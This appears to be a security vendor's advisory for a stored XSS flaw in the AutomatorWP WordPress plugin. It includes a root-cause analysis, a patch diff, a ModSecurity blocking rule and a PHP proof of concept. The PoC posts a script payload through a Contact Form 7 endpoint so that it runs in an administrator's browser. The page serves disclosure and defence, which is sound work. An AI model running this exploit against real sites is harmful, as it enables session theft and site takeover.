Published : December 2, 2026

CVE-2026-137138: AutomatorWP <= 6.1.3 Unauthenticated Stored Cross-Site Scripting via Contact Form 7 Form Field PoC, Patch Analysis & Rule

Plugin automatorwp
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 6.1.3
Patched Version 6.1.4
Disclosed December 1, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-137138: This is an unauthenticated stored cross-site scripting (XSS) vulnerability in the AutomatorWP WordPress plugin, affecting versions up to and including 6.1.3. The flaw resides in the rendering of log titles within the admin dashboard, where user-supplied data from Contact Form 7 submissions is insufficiently sanitized and escaped. An attacker can inject arbitrary JavaScript that executes when an administrator views the AutomatorWP logs page. The CVSS score is 7.2 (High).

Root Cause: The vulnerability originates in the file automatorwp/includes/admin/pages/dashboard.php, specifically around lines 509-511. The code retrieves a log entry’s title (which can include Contact Form 7 form field values such as ‘your-name’) and directly concatenates it into an HTML anchor tag without proper escaping. The original line: `$log_title = ‘id ) . ‘”>’ . $log_title . ‘‘;` fails to escape the `$log_title` variable, allowing stored XSS. The `ct_get_edit_link` function output is also not escaped, but the primary injection vector is the log title. The patch adds `esc_url()` to the edit link and `esc_html()` to the log title, followed by `wp_kses_post()` to ensure the final HTML is safe.

Exploitation: An unauthenticated attacker can submit a Contact Form 7 form containing a malicious payload in any field that is referenced in the ‘Add log entry’ Log Title of an automation. For example, if an administrator has configured a log title like `[your-name]`, the attacker submits a form with `your-name` set to `alert(document.cookie)`. This input is stored in the log entry. When an administrator later visits the AutomatorWP dashboard or logs page (e.g., `/wp-admin/admin.php?page=automatorwp_logs`), the script executes in their browser, potentially leading to session hijacking, privilege escalation, or other malicious actions. The attack requires no authentication and only that a vulnerable automation exists.

Patch Analysis: The patch in version 6.1.4 modifies dashboard.php to properly escape output. The `ct_get_edit_link` result is now passed through `esc_url()`, and the `$log_title` is passed through `esc_html()` before being concatenated. After concatenation, the entire string is passed through `wp_kses_post()` to allow only safe HTML tags. This prevents script injection by encoding any HTML special characters in the log title, rendering them harmless. The patch also includes unrelated fixes such as correcting action hooks (`delete_object` to `ct_delete_object`) and adding SQL injection prevention in fluent-support trigger, but those are not part of this CVE.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator’s browser. This can lead to theft of session cookies, creation of rogue admin accounts, installation of malicious plugins, or full site takeover. The vulnerability is stored, meaning the payload persists until the log entry is removed. Given that AutomatorWP is often used to automate workflows with form submissions, the attack surface is significant.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/automatorwp/automatorwp.php
+++ b/automatorwp/automatorwp.php
@@ -3,7 +3,7 @@
  * Plugin Name:     	AutomatorWP
  * Plugin URI:      	https://automatorwp.com
  * Description:     	Connect your WordPress plugins together and create automated workflows with no code!
- * Version:         	6.1.3
+ * Version:         	6.1.4
  * Author:          	AutomatorWP
  * Author URI:      	https://automatorwp.com/
  * Text Domain:     	automatorwp
@@ -119,7 +119,7 @@
     private function constants() {

         // Plugin version
-        define( 'AUTOMATORWP_VER', '6.1.3' );
+        define( 'AUTOMATORWP_VER', '6.1.4' );

         // Plugin file
         define( 'AUTOMATORWP_FILE', __FILE__ );
--- a/automatorwp/includes/admin/pages/dashboard.php
+++ b/automatorwp/includes/admin/pages/dashboard.php
@@ -509,7 +509,8 @@
             $log_icon = ob_get_clean();

             $log_title = ! empty( $log->title ) ? $log->title : __( '(No title)', 'automatorwp' );
-            $log_title = '<strong><a href="' . ct_get_edit_link( 'automatorwp_logs', $log->id ) . '">' . $log_title . '</a></strong>';
+            $log_title = '<strong><a href="' . esc_url( ct_get_edit_link( 'automatorwp_logs', $log->id ) ) . '">' . esc_html( $log_title ) . '</a></strong>';
+            $log_title = wp_kses_post( $log_title );

             $types = automatorwp_get_log_types();
             $type = isset( $types[$log->type] ) ? $types[$log->type] : $log->type;
--- a/automatorwp/includes/custom-tables/actions.php
+++ b/automatorwp/includes/custom-tables/actions.php
@@ -88,4 +88,4 @@
     $wpdb->query( "DELETE lm FROM {$logs_meta} lm LEFT JOIN {$logs} l ON l.id = lm.id WHERE l.id IS NULL" );

 }
-add_action( 'delete_object', 'automatorwp_actions_delete_object' );
 No newline at end of file
+add_action( 'ct_delete_object', 'automatorwp_actions_delete_object' );
 No newline at end of file
--- a/automatorwp/includes/custom-tables/automations.php
+++ b/automatorwp/includes/custom-tables/automations.php
@@ -1097,4 +1097,4 @@
     }

 }
-add_action( 'delete_object', 'automatorwp_automations_delete_object' );
 No newline at end of file
+add_action( 'ct_delete_object', 'automatorwp_automations_delete_object' );
 No newline at end of file
--- a/automatorwp/includes/custom-tables/triggers.php
+++ b/automatorwp/includes/custom-tables/triggers.php
@@ -88,4 +88,4 @@
     $wpdb->query( "DELETE lm FROM {$logs_meta} lm LEFT JOIN {$logs} l ON l.id = lm.id WHERE l.id IS NULL" );

 }
-add_action( 'delete_object', 'automatorwp_triggers_delete_object' );
 No newline at end of file
+add_action( 'ct_delete_object', 'automatorwp_triggers_delete_object' );
 No newline at end of file
--- a/automatorwp/integrations/fluent-support/includes/triggers/agent-open-ticket.php
+++ b/automatorwp/integrations/fluent-support/includes/triggers/agent-open-ticket.php
@@ -56,7 +56,10 @@
         $ticket_id = absint( $ticket['id'] );
         $user = wp_get_current_user();

-        $agent = $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}fs_persons WHERE email='{$user->user_email}'" );
+        $agent = $wpdb->get_row( $wpdb->prepare(
+			"SELECT * FROM {$wpdb->prefix}fs_persons WHERE email = %s",
+			$user->user_email
+		) );

         // Bail if agent not found
         if( ! $agent ) {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@rx ^/wp-json/contact-form-7/v1/contact-forms/d+/feedback$" "id:137138,phase:2,deny,status:403,chain,msg:'CVE-2026-137138 Stored XSS via CF7 form field',severity:'CRITICAL',tag:'CVE-2026-137138'"
  SecRule ARGS_POST "@detectXSS" "t:none,t:urlDecodeUni,t:htmlEntityDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-137138 - AutomatorWP <= 6.1.3 - Unauthenticated Stored XSS via Contact Form 7 Form Field

// Configure target
$target_url = 'http://example.com';

// The CF7 form ID that triggers the vulnerable automation (must be known or guessed)
$form_id = 1;

// The form field name that is used in the Log Title (e.g., 'your-name')
$field_name = 'your-name';

// Payload to inject
$payload = '<script>alert(document.cookie)</script>';

// Build the POST data to submit the CF7 form
$post_data = array(
    '_wpcf7' => $form_id,
    '_wpcf7_version' => '5.6',
    '_wpcf7_locale' => 'en_US',
    '_wpcf7_unit_tag' => 'wpcf7-f' . $form_id . '-p1-o1',
    '_wpcf7_container_post' => '0',
    $field_name => $payload,
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/contact-form-7/v1/contact-forms/' . $form_id . '/feedback');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check if submission was successful (CF7 usually returns 200 with JSON)
if ($http_code == 200) {
    echo "Form submitted. The payload has been stored in the log entry.n";
    echo "Now log in as an administrator and visit the AutomatorWP logs page to trigger the XSS.n";
} else {
    echo "Submission failed. HTTP code: $http_coden";
    echo "Response: $responsen";
}

// Note: The exact CF7 REST endpoint may vary; alternatively, submit via the form page itself.
// This PoC assumes the attacker can discover the form ID and field name.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.